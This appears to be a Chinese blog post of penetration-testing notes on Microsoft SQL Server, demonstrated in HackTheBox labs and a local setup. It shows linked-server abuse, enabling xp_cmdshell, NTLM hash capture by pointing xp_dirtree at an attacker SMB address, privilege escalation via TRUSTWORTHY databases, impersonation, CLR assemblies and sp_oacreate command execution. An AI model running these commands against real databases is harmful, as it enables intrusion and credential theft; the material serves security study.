mssql 杂记
mssql 杂记
1.安装mssql服务
我本地环境演示使用的是sql server 2019
安装下面链接教程即可安装
https://www.sqlservertutorial.net/install-sql-server/
如果想开启远程链接需要先打开SQL server 网络配置
找到TCP/IP
划到最下面IP ALL
,如果没有该选项那就手动慢慢设置
TCP 动态端口设置为空
TCP 端口设置为1433
重启Sql server
服务
2. mssql常用命令
1 | select @@version; #获取mssql版本 |
3.mssql link服务利用
3.1 环境
演示使用的是hackthebox Endgames P.O.O
靶场
3.2 原理
mssql
允许创建外部数据源的链接,例如其他sql服务器
,Oracle数据库
,excel电子表格
等,由于常见的错误配置,链接或者链接服务器
通常可以利用来遍历数据库链接网络,获取数据,以及部署shell。
mssql
如果启动了link
(dataaaccess设置为1),则数据库服务器上的每个用户都可以使用该link
,不管用户的权限如何(public,sysadmin
)都可以使用
3.2 利用
使用select @@servername
获取当前服务名,再使用select srvname from sysservers
查看可利用的服务
驱使POO_CONFIG
向POO_PUBLIC
询问POO_CONFIG在POO_PUBLIC服务器
的权限
1 | EXECUTE ('EXECUTE (''SELECT entity_name, permission_name FROM fn_my_permissions(NULL, ''''SERVER'''');'') at [COMPATIBILITY\POO_PUBLIC]') at [COMPATIBILITY\POO_CONFIG]; |
添加用户
1 | EXECUTE('EXECUTE(''CREATE LOGIN ling WITH PASSWORD = ''''qwe123QWE!@#'''';'') AT [COMPATIBILITY\POO_PUBLIC]') AT [COMPATIBILITY\POO_CONFIG] |
msf
1 | use exploit/windows/mssql/mssql_linkcrawler |
参考链接
https://0xdf.gitlab.io/2020/06/08/endgame-poo.html#huh
4.xp_cmdshell
4.1 什么是xp_cmdshell
根据Microsoft
官方文档,xp_cmdshell
是一种生成 Windows
命令 shell
并传入字符串以供执行的功能。它生成的任何输出都以文本行的格式显示。为简化起见,我们可以说它允许数据库管理员直接从SQL Server
访问和执行任何外部进程。xp_cmdshell
的实现可以追溯到SQL Server 6.5
。它旨在使用带有系统命令的 SQL 查询来自动执行需要额外编程和工作的各种任务。现在我们对xp_cmdshell
有了一些了解,我们可以了解如何在 SQL
服务器上启用它。
4.2 开启xp_cmdshell
xp_cmdshell
在Sql server 2005
之前是无需开启的,默认会开启。sql server 2005
及以后的版本需要手动开启,默认关闭。开启xp_cmdshell
正常来说需要sa(sysadmin)
权限
开启xp_cmdshell
命令
1 | sp_configure 'show advanced options', '1' |
**Sql server 2008
**以及更高版本存在一个触发器,该触发器可以对服务器进行的操作设置一个触发机制。比如限制用户开启xp_cmdshell
等
遇到这种情况只要查询触发器名称然后关闭即可
1 | select name from sys.server_triggers; |
参考链接
5.NTLM
5.1 环境
我本地搭建的环境访问smb
时,没有接收到NTLM
。所以我这里改为使用hackthebox Querier
靶机
5.2 利用
当我们登录到目标mssql
服务中,但是没有办法开启或使用xp_cmdshell
,可以利用smb中继
攻击获取NTLM
,然后使用hashcat
等工具进行破解
开启Responder
1 | python Responder.py -I tun1 |
使用xp_dirtree或xp_fileexist
访问smb中继
地址
1 | exec xp_dirtree '\\10.10.16.3\share\file' |
hashcat
破解NTLM
1 | hashcat -m 5600 ./hash /usr/share/wordlists/rockyou.txt |
6.提权
sql server 权限
如果想了解sql server
权限细节建议看下官方手册
6.1可信提权
6.1.1 环境配置
添加ling
数据库
1 | -- Create database |
添加一个登录使用的用户
1 | -- Create login |
添加lingUser
到db_owner
权限
1 | -- Setup LingUser the db_owner role in LingDB; |
查询lingUser
是否成功添加到db_owner
权限
1 | -- Verify the user was added as db_owner |
将LingDB
数据库设置为trusted
1 | ALTER DATABASE LingDb SET TRUSTWORTHY ON |
查询Sql Server
中的所有数据库,并且图下is_trustworthy_on
应该显示为1
启动xp_cmdshell
,为了实验方便所以这里先启动,在实战中攻击者是由可能启动的
1 | -- Enable show options |
6.1.2 利用
验证一下我们当前权限
使用xp_cmdshell
失败,提示我们没有权限
查看我们当前权限,显示我们非管理员
1 | SELECT is_srvrolemember('sysadmin') |
现在验证权限完毕,开始
先选择LingDB
数据库,然后将lingUser
添加到sysadmin
如果sp_elevate_me
对象已经存在,只需要重新另起一个即可,比如sp_elevate_me1
1 | USE LingDB |
lingUser
添加到sysadmin
后,我们当前还没获得管理
权限,还需要进行下面两步操作
1 | USE LingDB |
进行上面的操作后我们当前就变成管理
权限
Metasploit
除上面介绍的手动提权外,你还可以使用Metasploit
进行自动提权
1 | use auxiliary/admin/mssql/mssql_escalate_dbowner |
6.1.3 原理
受信任的低权限用户执行一些模块时,会被视为高权限执行的。但是执行这些模块需要一定的权限.
参考链接
6.2 语言提权
Sql server 2017(14.x)
及更高版本都可以使用一个叫机器学习服务
的功能,这个功能会给用户选择安装python或R
语言。利用语言提权需要db_owner
权限才可以执行,同时需要sql server
启动Launchpad
才能利用。
6.2.1 环境安装
检测外部脚本是否可以启动,同时将config_value、run_value
设置为1
1 | #检测外部脚本是否可以启动 |
将sql Server Launchpad
设置为自动启动模式,设置完后还需要手动启动一下
重启sql server
6.2.2 python 提权
1 | EXEC sp_execute_external_script @language =N'Python', @script = N'import os; os.system("whoami");'; |
6.2.3 R 提权
1 | EXECUTE sp_execute_external_script @language = N'R', @script = N'system("whoami")'; |
6.3 mssql 模拟登录提权
6.3.1 环境配置
创建4个
用户
1 | -- Create login 1 |
给ling1
赋予ling2、3
和sa
的登录的模拟权限
1 | -- Grant ling1 impersonate privilege on ling2, ling3, and sa |
6.3.2 利用
使用ling1
登录到sql server
搜索可以被冒用的用户
1 | SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' |
验证当前权限
1 | SELECT SYSTEM_USER |
冒用sa
用户
1 | EXECUTE AS LOGIN = 'sa' |
Metasploit
mssql_escalate_execute_as
是通过登录mssql
进行提权
mssql_escalate_execute_as_sqli
则是通过注入方式进行提权
1 | auxiliary/admin/mssql/mssql_escalate_execute_as |
模拟登录除了提权之外还有别的利用方式,比如以系统管理员模拟SQL登录
、域管理员模拟为系统管理员
等
6.3.3 原理
SQL SERVER
为了方便开发人员临时使用其他账号权限而设置的一个功能,攻击者可以利用该功能进行提权。这种类型是否算是漏洞?这个见仁见智。
参考链接
7.CLR
7.1 什么是CLR
Common Language Runtime(CLR)
是 Microsoft
作为其 Windows
操作系统的一部分提供的一项功能,允许执行与 .NET Framework
兼容的软件。此运行时环境负责实现 .NET
程序,包括已编译的 ASP.NET
页面和 Mono
应用程序。它由 .NET Framework
和 Windows
内核使用,并已被 Java ME、Apache Harmony 和 Android
等其他操作系统采用。它通常被认为是 Java 虚拟机 (JVM)
的更稳定和功能齐全的替代品。它还管理 Microsoft
操作系统的代码执行环境。
这些托管代码被编译并由单元进一步使用。这些单元称为装配。这些程序集包含大量 DLL
或 EXE
文件。EXE
文件可以自行执行,而 DLL 文件需要托管在应用程序中。如果管理得当,这些 DLL
文件也可以由MS-SQL
服务器强制执行。CLR
通过程序集加载从不同进程接收已编译的应用程序或程序集,然后在隔离的执行环境中执行它们以确保它们的安全性和完整性。借助 CLR
,可以编写存储过程、用户定义函数、用户定义类型等。
7.2 环境安装
启动Facets
选择最后的外围应用配置器
将ClrIntegrationEnabled
设置为True
7.3 创建DLL
打开Visual Studio
选择创建新项目
进入项目模块选择时,选择C#
,找到.NET Framework
配置项目信息,开始创建
生成dll
文件
把dll
文件上传到目标
7.4 利用
手动利用
在数据库>>系统数据库>>msdb>>可编程性>>程序集
右键打开新建程序集
设置权限集为无限制
,添加程序集路径
添加完成可以在程序集
看到添加的dll
启动lingdll
1 | CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [lingdll].[StoredProcedures].[cmd_exec]; |
启动dll
后就可以运行命令
1 | cmd_exec 'whoami' |
如果后面想删除加载的dll
可以运行下面命令
1 | DROP PROCEDURE cmd_exec |
命令加载dll
选择msdb
数据库
启动CLR
集成
1 | EXEC sp_configure 'clr enabled', 1; |
查询是否启动CLR
使用mssqlclint
是看不到返回结果,使用其他如Navicat
可以看到结果
1 | SELECT * FROM sys.configurations WHERE name = 'clr%20enabled'; |
value
显示为1
时,代表CLR
集成已启用
启动可信赖属性
1 | ALTER DATABASE msdb SET TRUSTWORTHY ON |
查询可信赖属性
是否启动成功
1 | select name, is_trustworthy_on from sys.databases |
当msdb
值为1
时,意味着该属性已经启用
加载dll
文件
1 | CREATE ASSEMBLY lingdll FROM 'c:\temp\lingdll.dll' WITH PERMISSION_SET = UNSAFE; |
加载dll
遇到说程序集不受信任,可以换成Navicat
重新加载,也可以给程序集加上哈希
加上hash
这个我还没了解细节,只是发现加上可以加载dll
文件
1 | EXEC sp_add_trusted_assembly 0x8893AD6D78D14EE43DF482E2EAD44123E3A0B684A8873C3F7BF3B5E8D8F09503F3E62370CE742BBC96FE3394477214B84C7C1B0F7A04DCC788FA99C2C09DFCCC, |
创建cmd_exec
执行命令
1 | CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [lingdll].[StoredProcedures].[cmd_exec]; |
PowerUpSQL
1 | Import-Module .\PowerUpSQL.ps1 |
生成的dll
文件也可以像上面那样利用,现在介绍另一种利用方式
打开生成的runcmd.txt
使用Navicat
链接服务器,mssqlclient.py
可能会失败
输入txt
内容并运行
PowerUpSQL(远程)
1 | Import-Module .\PowerUpSQL.ps1 |
参考链接
https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-clr-assembly/
8.SP_OACREATE
有时候xp_cmdshell
组件被删除或被禁用后,我们可以使用SP_OACREATE
来执行系统命令,但是使用SP_OACREATE
执行命令是无回显的。
8.1 检测SP_OACREATE状态
使用mssqlclient
返回结果会有点乱
1 | select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |
使用count
判断sp_oacreate
即可
1 | select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' |
8.2 启动SP_OACREATE
1 | EXEC sp_configure 'show advanced options', 1; |
8.3 利用
建议先使用DNSlog
检测漏洞是否存在
可以在服务器上开启smb
服务,让执行结果写入服务器
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\temp\1.txt' |
参考链接
https://xz.aliyun.com/t/7534#toc-9
9.Agent Job
我本地环境启动sql server 代理
失败,只能简单记录一下命令。后续再补上细节
1 | USE msdb; |
参考链接
https://xz.aliyun.com/t/7534#toc-20
10.沙盒执行命令
本地没有相关漏洞的环境只能简单记录命令,后续再补细节
1 | exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 |
参考链接